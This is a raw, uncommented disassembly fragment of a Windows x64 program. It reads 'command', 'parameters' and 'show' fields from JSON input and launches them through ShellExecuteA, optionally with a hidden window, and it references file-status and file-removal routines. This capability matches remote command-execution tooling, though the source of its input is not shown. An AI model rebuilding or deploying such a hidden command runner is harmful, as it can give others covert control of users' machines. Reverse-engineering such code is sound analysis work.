xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea r8d, [rax + 7]
lea rdx, str.command
lea rcx, [rsp + 0x40]
call fcn.140009a80
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r14
mov qword [rbp + 8], r14
mov r8d, 0xa
lea rdx, str.parameters
lea rcx, [rbp - 0x10]
call fcn.140009a80
lea rdx, [rbp - 0x10]
mov rcx, rbx
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
mov r8d, 3
lea rdx, [0x140049b44]
lea rcx, [rsp + 0x40]
call fcn.140009a80
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14000a860
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
movdqa xmm1, xmmword [0x140050ca0]
movdqu xmmword [rbp + 0x1f0], xmm1
mov byte [rbp + 0x1e0], 0
mov dword [rbp - 0x78], 0x40000
cmp byte [rax], 3
jne 0x1400066d7
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x1e0]
cmp rax, rdx
je 0x14000618f
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140006182
mov rdx, qword [rdx]
lea rcx, [rbp + 0x1e0]
call fcn.14000f430
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
mov r8d, 7
lea rdx, str.command
lea rcx, [rsp + 0x40]
call fcn.140009a80
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r14
mov qword [rbp + 8], r14
mov r8d, 0xa
lea rdx, str.parameters
lea rcx, [rbp - 0x10]
call fcn.140009a80
lea rdx, [rbp - 0x10]
mov rcx, rbx
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
mov r8d, 4
lea rdx, str.show
lea rcx, [rsp + 0x40]
call fcn.140009a80
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14000a860
cmp byte [rax], 4
jne 0x140006462
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x48], 8
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x40]
cmp byte [rax + 8], 0
lea rax, [rbp + 0x1e0]
je 0x140006330
cmp qword [rbp + 0x1f8], 0x10
cmovae rax, qword [rbp + 0x1e0]
mov qword [rbp - 0x18], rax
movabs rax, 0xb000000000000000
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x20]
mov qword [rbp - 0x38], rax
lea rax, str._c__0_
mov qword [rbp - 0x50], rax
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm1
call fcn.14000bb60
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
lea r8, [0x140049b44]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400063ee
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400063e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp qword [rbp + 0x1f8], 0x10
cmovae rax, qword [rbp + 0x1e0]
mov qword [rbp - 0x18], rax
movabs rax, 0xb000000000000000
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x20]
mov qword [rbp - 0x38], rax
lea rax, str._c__0_
mov qword [rbp - 0x50], rax
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm1
call fcn.14000bb60
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r8, [0x140049b44]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400063ee
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400063e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140006432
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000642d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000642d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
mov rcx, qword [rbp + 0x5b0]
xor rcx, rsp
call fcn.140028c90
lea r11, [rsp + 0x6c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, rax
call fcn.14000ad10
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x30]
lea rcx, [rbp + 0x58]
call fcn.14000f660
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp - 0x10]
call fcn.14000c430
lea rdx, [0x140055850]
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
shr rcx, 0x20
call fcn.140001c00
nop
mov rcx, rax
call fcn.14000ad10
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x30]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x58]
call fcn.14000f590
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x78]
call fcn.14000c430
lea rdx, [0x140055850]
lea rcx, [rbp + 0x78]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14000ad10
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x30]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x58]
call fcn.14000f590
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0x78]
call fcn.14000c430
lea rdx, [0x140055850]
lea rcx, [rbp + 0x78]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, r9
call fcn.14000ad10
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x30]
lea rdx, str.type_must_be_number__but_is
lea rcx, [rsp + 0x40]
call fcn.14000f590
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp - 0x10]
call fcn.14000c430
lea rdx, [0x140055850]
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14000ad10
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x30]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x78]
call fcn.14000f590
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0xe8]
call fcn.14000c430
lea rdx, [0x140055850]
lea rcx, [rbp + 0xe8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14000ad10
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x30]
lea rcx, [rbp - 0x10]
call fcn.14000f660
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0xb0]
call fcn.14000c430
lea rdx, [0x140055850]
lea rcx, [rbp + 0xb0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea r8, [rbx + 0x20]
lea rcx, str.directory_entry::status
call fcn.140004650
int3
mov edx, eax
call fcn.140004560
nop
call fcn.140007550
nop
call fcn.140001930
int3
shr rbx, 0x20
mov ecx, ebx
call fcn.140001c00
nop
mov rcx, rax
call fcn.14000ad10
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x30]
lea rcx, [rbp + 0x78]
call fcn.14000f660
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0xe8]
call fcn.14000c430
lea rdx, [0x140055850]
lea rcx, [rbp + 0xe8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14000ad10
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x30]
lea rcx, [rbp + 0x78]
call fcn.14000f660
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0xe8]
call fcn.14000c430
lea rdx, [0x140055850]
lea rcx, [rbp + 0xe8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
shr rdx, 0x20
lea r8, [rbp - 0x40]
lea rcx, str.remove
call fcn.140004650
nop
mov rcx, rax
call fcn.14000ad10
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x30]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x78]
call fcn.14000f590
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0xe8]
call fcn.14000c430
lea rdx, [0x140055850]
lea rcx, [rbp + 0xe8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3